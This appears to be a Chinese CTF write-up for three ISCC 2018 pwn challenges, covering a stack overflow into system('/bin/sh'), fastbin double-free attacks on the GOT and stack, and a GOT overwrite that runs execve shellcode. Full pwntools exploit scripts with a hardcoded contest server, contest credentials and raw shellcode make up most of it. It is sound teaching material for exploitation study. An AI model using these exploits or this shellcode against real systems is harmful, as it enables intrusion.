ISCC 2018 PWN WriteUp

1.Login [分值:200]--年轻人的第一道PWN

漏洞位置:html


漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值。python



此函数中存在一个可能执行system命令的地方。0x0040084Agit

利用思路:github

1.Menu函数read时覆盖Menu的返回地址到0x0040084A。 选择选项为1web

2.进入ExecCmd函数输入命令"/bin/sh"shell

3.回到Menu函数执行发送命令"3" 退出Menu函数。此时程序就会跳到0x40084A执行system("/bin/sh").segmentfault

poc:app

from pwn import *
import binascii
import time

g_local=False
#context.log_level='debug'

sh=0
if g_local:
    sh=process("./pwn50")
else:
    sh=remote("47.104.16.75",9000)

def login():
    print sh.recvuntil(': ')
    sh.sendline("admin")
    print sh.recvuntil(': ')
    sh.sendline("T6OBSh2i")
    print sh.recvuntil(': ')


def test():
    login()
    #Overwrite the return address by system call
    paload='1'*16*5+p64(0)+p64(0x40084A)
    sh.sendline(paload)
    print sh.recvuntil(': ')
    
    #send "/bin/sh"
    sh.sendline("/bin/sh")
    print sh.recvuntil(': ')
    
    #run system("/bin/sh")
    sh.sendline("3")
    sh.interactive()

成功执行:函数

2.Write some paper [分值:200]


漏洞位置:ui


free的时候,没有清空指针,可。。。。。。。。。

ISCC一上线,全部上网的人便都看着他笑,有的叫道,“ISCC,你又处新题了!”他不回答,对柜里说,“加两道web题,再来一个Reverse。”便排出九文大钱。他们又故意的高声嚷道,“你出的题又被秒了!”ISCC 睁大眼睛说,“你怎么这样凭空污人清白……”“什么清白?我前天亲眼见你PWN题目一上线,就被网友吊着打。”ISCC便涨红了脸,额上的青筋条条绽出,争辩道,“PWN题怎么秒杀……PWN!……程序猿的事,能算秒杀么?”接连即是难懂的话,什么“Double Free”,什么“Use after Free”之类,引得众人都哄笑起来:网内外充满了快活的空气。

没搞定。。。之后更新。

20180526更新,看了别人的writeup。https://www.colabug.com/2955477.html

原来伪造的堆块是直接放在got表中。

fastbin attack .  参考文章:

https://blog.csdn.net/qq_29343201/article/details/72627537

https://segmentfault.com/a/1190000005183474

再分配的时候只检查了size,也不要求对齐。

fastbin attack

基本信息

利用类型: 堆利用
堆利用类型: 针对fastbin的利用
利用思想: 利用fastbin的free只检查是否和上一个freechunk相等,使得同一个chunk两次进入free list,形成UAF,能够更改fastbin free chunk的fd信息,最终分配一个特定地址
利用难点

须要可以两次free同一个chunk
更改fd的时候,为了可以在以后的malloc以后返回这个值,须要经过一个check,会检查fd指向的这个位置的size(这个位置能够不用对齐),看是否属于正要malloc的这个bin的范围。
详细信息

fast bin的free检查了比较多的东西,因此这里就再也不都贴出来了,其漏洞的主要缘由在于fastbin 
的实现实际上是一个单链表实现的栈,后进先出,free的时候只检查了这个栈的栈顶,这样的话, 
只要不是连续的free两次同一个chunk,就能够顺利的将一个chunk放进free list。以后的分配会使得 
chunk虽然在free list里,可是也被分配了出来,这样就能够更改到fd指针,使其指向其余位置。

检查栈顶的代码以下:

    /* Check that the top of the bin is not the record we are going to add
       (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }

须要注意的一点是,在分配的时候还有一个检查:

          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);

这个检查是指即将分配的这个chunk大小应该在其相应大小的idx上,好比size都为0x20大小的 
fastbin,可以接受的值就是0x20-0x27范围,分配过去应该有这个范围的值(被当作size), 
不然将会出现memory corruption。

因此利用的时候须要想办法找到一个相应的size,这个size实际上是不须要对齐的,因此能够经过 
错位的方式构造一个假的size值出来。找到相应的size就能够进行分配到相应位置了。

原来一直觉得是要分配在栈上。

找到另一份writeup,确实是分配在栈上的。

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

from time import sleep

import sys


elf = ELF("./pwn3")

context.log_level = "debug"

io = process("./pwn3")

libc = elf.libc
#raw_input("run ida......")


def DEBUG():

    raw_input("DEBUG: ")

    gdb.attach(io, "b *0x400B26")





def add(idx, length, content):

    io.sendline("1")

    print io.recv(200)

    io.sendline(str(idx))

    print io.recv(200)

    io.sendline(str(length))

    print io.recv(200)

    io.sendline(content)

    print io.recv(200)

    

def delete(idx):

    #io.sendlineafter("2 delete papern", "2")

    #sleep(0.01)

    #io.sendlineafter(":", str(idx))

    #sleep(0.01)

    io.sendline("2")

    print io.recv(200)

    io.sendline(str(idx))

    print io.recv(200)


#伪造chunk在got表

def test1():

    print io.recv(200)

    print "xxxxxx"

    fakeChunk = 0x602030+2

    add(0, 0x30, '0000')         #chunk0=0x1691010

    add(1, 0x30, '1111')         #chunk1=0x1691050

    delete(0) # 0

    delete(1) # 1 -> 0
1691010    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691020    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691030    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691040    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691050    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691060    10 10 69 01 00 00 00 00  00 00 00 00 00 00 00 00  ..i.............
1691070    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691080    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691090    00 00 00 00 00 00 00 00  71 0F 02 00 00 00 00 00  ........q.......

    delete(0) # 0 -> 1 -> 0
1691010    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691020    50 10 69 10 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691030    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691040    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691050    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691060    10 10 69 01 00 00 00 00  00 00 00 00 00 00 00 00  ..i.............
1691070    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691080    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691090    00 00 00 00 00 00 00 00  71 0F 02 00 00 00 00 00  ........q.......


    # 0 -> 1 -> 0 -> fakeChunk  返回chunk0 的地址

    add(0, 0x30, p64(fakeChunk)) # 1 -> 0 -> fakeChunk   ptr=1691020
1691010    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691020    32 20 60 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691030    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691040    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
    add(1, 0x30, '1111') # 0 -> fakeChunk                ptr=1691060

    add(2, 0x30, '2222') # fakeChunk                     ptr=1691020
1691010    00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
1691020    32 32 32 32 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691030    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
1691040    00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
  //值被改了可是fastbin中还保存者 0x602032
602032 40 00 00 00 00 00 56 07  40 00 00 00 00 00 1B 5F 
602042 37 7F 00 00 40 C7 17 5F  37 7F 00 00 86 07 40 00 
602052 00 00 00 00 C0 73 19 5F  37 7F 00 00 30 01 1E 5F 
602062 37 7F 00 00 70 BE 1C 5F  37 7F 00 00 D0 74 1C 5F 
602072 37 7F 00 00 D6 07 40 00  00 00 00 00 00 00 00 00 
602082 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 
602092 00 00 00 00 00 00 00 00  00 00 00 00  

    #  payload = 'aaaaaaaabbbbbbbbccccccccdddddddd'

    payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg']) * 2

    #  DEBUG()
io.sendline("2")
add(3, 0x30, payload) #ptr=602042
got.plt:0000000000602018 off_602018 dq offset cfree              ; DATA XREF: _free↑r
.got.plt:0000000000602020 off_602020 dq offset _IO_puts           ; DATA XREF: _puts↑r
.got.plt:0000000000602028 off_602028 dq offset fread              ; DATA XREF: _fread↑r
.got.plt:0000000000602030 off_602030 dq offset loc_400746         ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000602038 off_602038 dq offset loc_400756         ; DATA XREF: _system↑r
.got.plt:0000000000602040 off_602040 dq 1800h                     ; DATA XREF: _printf↑r
.got.plt:0000000000602048 off_602048 dq 0                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000602050 off_602050 dq 0                         ; DATA XREF: ___gmon_start__↑r
.got.plt:0000000000602058 off_602058 dq offset gg                 ; DATA XREF: _strtol↑r
.got.plt:0000000000602060 off_602060 dq offset gg                 ; DATA XREF: _malloc↑r
.got.plt:0000000000602068 off_602068 dq offset unk_7F375F1CBE00   ; DATA XREF: _setvbuf↑r
.got.plt:0000000000602070 off_602070 dq offset __isoc99_scanf     ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0000000000602078 off_602078 dq offset loc_4007D6         ; DATA XREF: _exit↑r
.got.plt:0000000000602078 _got_plt ends
io.interactive()

    #io.close()

    # flag{ISCC_SoEasy}


#伪造chunk在栈上

def test2():

    print io.recv(200)
    #一次最多接收48个字符,一次性提交3组错的,第三次打印出来的是栈地址

    io.sendline('a'*48*3)

    data=io.recvuntil('\x7f')

    stack=data[-6:]+'\x00\x00'

    stack_addr=u64(stack)

    print "stack addr:",hex(stack_addr)

    

    add(5,32,"aaaa")

    add(6,32,"aaaa")

    

    delete(5)

    delete(6)

    delete(5)

    

    #io.recv(200)

    io.sendline("3")

    io.recv(100)

    io.sendline(str(49))

    

    add(5,32,p64(stack_addr+96))

    add(6,32,'a'*32)

    add(6,32,'a'*32)

    

    

    add(6,32,'a'*8+p64(0x400943))

    

    io.sendline("6")

    io.interactive()



test1()

https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/

3.Happy Hotel  [分值:300]


漏洞位置:


第一个漏洞,buffer 48个字节,读了48字节,以后紧跟一个prinf。若是最后一字节不是\n的话,就不会变成0,这样打印的时候就会把后边的内容打印出来。紧跟着的就是rbp.



这个漏洞很明显buf空间只有56字节,然而读了0x40(64)字节,这样read的时候,若是传入64个字符就会把dest的值覆盖掉。

等strcpy时候就能任意地址写内容。

然而,发现了这些漏洞,缺依旧没有作出来,一直想着执行system("/bin/sh")拿shell.

然而找不到泄漏函数地址的地方,也没找到合适的执行的地方。。。

知道搜索了  pwn who are u 就找到了答案。

https://blog.csdn.net/qq_33528164/article/details/79681606

这题也是抄的,基本上没有变化。

按照题目中内容执行shellcode 就OK。

思路就是把free的函数地址改到shellcode的地方,而后执行shellcode .

1.who are u?时发送shellcode,根据泄漏的rbp地址计算shellcode地址。

2.利用strcpy 把free的函数地址改写到shellcode地址。

3.执行free。即执行shellcode.

from pwn import *
import binascii
import time
import struct

g_local=True
context.log_level='debug'

sh=0
free_got=0x602018
if g_local:
    sh=process("./pwn200")
    #elf = ELF('./pwn200')
    #free_got = elf.got["free"]
    #print_log("attch by ida.....")
    raw_input("ida has attch? Press any key for continue...")
else:
    sh=remote("47.104.16.75",8997)
   

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
def test2():
    print sh.recv(100)
    sh.send(shellcode+'a'*(48-len(shellcode)))  #发送shellcode
    if not g_local:
        print sh.recvuntil("\n")
    str_recv=sh.recv(256)
    print "return",str_recv,repr(str_recv)
    str_stack=str_recv[48:48+6]                #接收print 输出  获取rbp地址
    print str_stack
    str_stack+="\00\00"
    ebp,=struct.unpack("Q",str_stack)
    print "Stack address:%08x"%ebp
    offset=0x50
    shellcode_addr=ebp-offset
    print "shellcode_addr = " + hex(shellcode_addr)
    sh.sendline('0') #id
    print sh.recvuntil('\n')

    payload = p64(shellcode_addr)
    #the juck data must be '\x00' in the got!
    sh.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))   #strcpy(free_got,payload)

    sh.recvuntil('choice :')
    sh.sendline('2')
    sh.interactive()
     
test2()

执行过程:


printf 执行完,计算shellcode地址:


read前:


read以后:


dest变成602018:


执行strcpy,free_got变成shellcode地址。


接着执行free操做,进入shellcode执行。


成功获取到shell。

其余的shellcode  http://www.bubuko.com/infodetail-640711.html.

方法2:

1.第一步,发送shellcode,利用printf漏洞获得栈地址。同上。

2.执行到函数400A92.


伪造一个chunk。 

#32bytes padding +prev size +size +padding +fake_addr
    data = p64(0) * 4 + p64(0) + p64(0x41)      # no strcpy
    data = data.ljust(56, '\x00') + p64(fake_addr)
    print data
    sh.send(data)
这些数据copy到0x7fff08521a00. dest设置为0x7fff08521a30. 

位置0x7fff08521a20.为位置的chunk.

strcpy执行的时候,因为第一个字节为0,所以什么也没复制。 strcpy(0x7fff08521a30,0x7fff08521a00).

此时ptr中值为0x7fff08521a30。

接着执行free(ptr). 伪造chunk的地址会被加入fastbin中。

sh.recvuntil('choice : ')
    sh.sendline('2')     # free(fake_addr)

而后申请一个一样大小的空间。

sh.recvuntil('choice : ')

 sh.sendline('1')     #malloc(fake_addr) #fake_addr
 sh.recvuntil('long?')
 sh.sendline('48')    # 48 + 16 = 64 = 0x40
 sh.recvline('48')    # ptr = malloc(48)

 data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
 data = data.ljust(48, '\x00')

malloc 返回地址0x7fff08521a30.  而后写入data,会把返回值地址改为shellcode地址。


from pwn import *
import binascii
import time
import struct

g_local=True
context.log_level='debug'

sh=0
free_got=0x602018
if g_local:
    sh=process("./pwn200")
    #elf = ELF('./pwn200')
    #free_got = elf.got["free"]
    #print_log("attch by ida.....")
    raw_input("ida has attch? Press any key for continue...")
else:
    sh=remote("47.104.16.75",8997)
   

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
def test2():
    print sh.recv(100)
    sh.send(shellcode+'a'*(48-len(shellcode)))
    if not g_local:
        print sh.recvuntil("\n")
    str_recv=sh.recv(256)
    print "return",str_recv,repr(str_recv)
    str_stack=str_recv[48:48+6]
    print str_stack
    str_stack+="\00\00"
    ebp,=struct.unpack("Q",str_stack)
    print "Stack address:%08x"%ebp
    offset=0x50
    shellcode_addr=ebp-offset
    print "shellcode_addr = " + hex(shellcode_addr)
    sh.sendline('0') #id
    print sh.recvuntil('\n')

    payload = p64(shellcode_addr)
    #the juck data must be '\x00' in the got!
    sh.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))    
    sh.recvuntil('choice :')
    sh.sendline('2')
    sh.interactive()


def test3():
    print sh.recv(100)
    sh.send(shellcode+'a'*(48-len(shellcode)))
    if not g_local:
        print sh.recvuntil("\n")
    str_recv=sh.recv(256)
    print "return",str_recv,repr(str_recv)
    str_stack=str_recv[48:48+6]
    print str_stack
    str_stack+="\00\00"
    ebp,=struct.unpack("Q",str_stack)
    print "Stack address:%08x"%ebp
    offset=0x50
    shellcode_addr=ebp-offset
    fake_addr=ebp-0x90
    print "shellcode_addr = " + hex(shellcode_addr)
    
    sh.sendline("32")
    sh.recv(100)
    
    #32bytes padding +prev size +size +padding +fake_addr
    data = p64(0) * 4 + p64(0) + p64(0x41)      # no strcpy

    data = data.ljust(56, '\x00') + p64(fake_addr)
    print data
    sh.send(data)

    sh.recvuntil('choice : ')
    sh.sendline('2')     # free(fake_addr)

    sh.recvuntil('choice : ')
    sh.sendline('1')     #malloc(fake_addr) #fake_addr

    sh.recvuntil('long?')
    sh.sendline('48')    # 48 + 16 = 64 = 0x40
    sh.recvline('48')    # ptr = malloc(48)

    data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
    data = data.ljust(48, '\x00')
    sh.send(data)

    sh.recvuntil('choice')
    sh.sendline('3')

    sh.interactive()
       
test3()